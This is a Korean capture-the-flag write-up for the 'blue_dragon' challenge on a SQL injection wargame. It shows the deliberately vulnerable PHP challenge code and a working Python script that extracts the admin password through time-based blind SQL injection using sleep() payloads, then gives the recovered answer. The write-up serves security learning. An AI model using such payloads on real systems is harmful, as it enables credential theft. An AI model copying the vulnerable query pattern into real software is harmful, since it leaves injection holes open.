write-up/LOS write-up

LOS (Lord of SQL injection) 문제 27번 blue_dragon write-up

정보보호학과 새내기 2021. 7. 13. 11:39
반응형
SMALL

문제 27번 - blue_dragon

 

query : select id from prob_blue_dragon where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

일단 다른 문제들과 같이 php 코드가 주어져있다.

 

먼저 필터링 함수를 확인하면 id와 pw를 받는 변수 둘다 prob, _ , . , ' , \을 필터링하고 i를 통해 대소문자를 구분하지 않는 것을 확인할 수 있다. 추가로 참인 값을 집어넣으면 hello admin이 출력되는 것 같다. 아마 이를 이용할 것 같다.

<?php
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
?>

 

clear 조건을 확인해보니 pw를 구해야하는 것을 알 수 있다. 파이썬 코드를 이용해 풀 것 같다.

<?php
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

 

위 조건들을 보니 기존 문제들처럼 id가 admin인 pw를 구하는 것 같은데 싱글쿼터와 싱글쿼터 우회 방식인 \도 필터링한다는 것이 특징이다. 추가로 이 필터링이 쿼리를 실행시킨 후 필터링하는 것이라 결과를 확인하기 어렵다. blind sql injection을 이용해야겠는데 error를 출력하는 코드가 안 보이므로 time based를 이용하였다.

import requests
import time

url="https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?"
cookie = dict(PHPSESSID="cvr4q0t61op02qkd6b7dp6a98e")

result=""

for i in range(1,9):
    for j in range(33,127):
        start=time.time()
        query = "pw=' or if(id='admin' and ascii(substr(pw,{},1))={},sleep(3),1)%23".format(i,j)
        URL = url+query
        res = requests.get(URL, cookies=cookie)
        end=time.time()
        if end-start > 3:
            result += chr(j)
            print(chr(j))
            break
print("pw :",result)

위 코드를 실행시키니 아래 결과가 나왔다.

따라서 pw는 d948b8a0이므로 이것을 입력해준다.

 

solve

https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?pw=d948b8a0

클리어 화면

반응형
LIST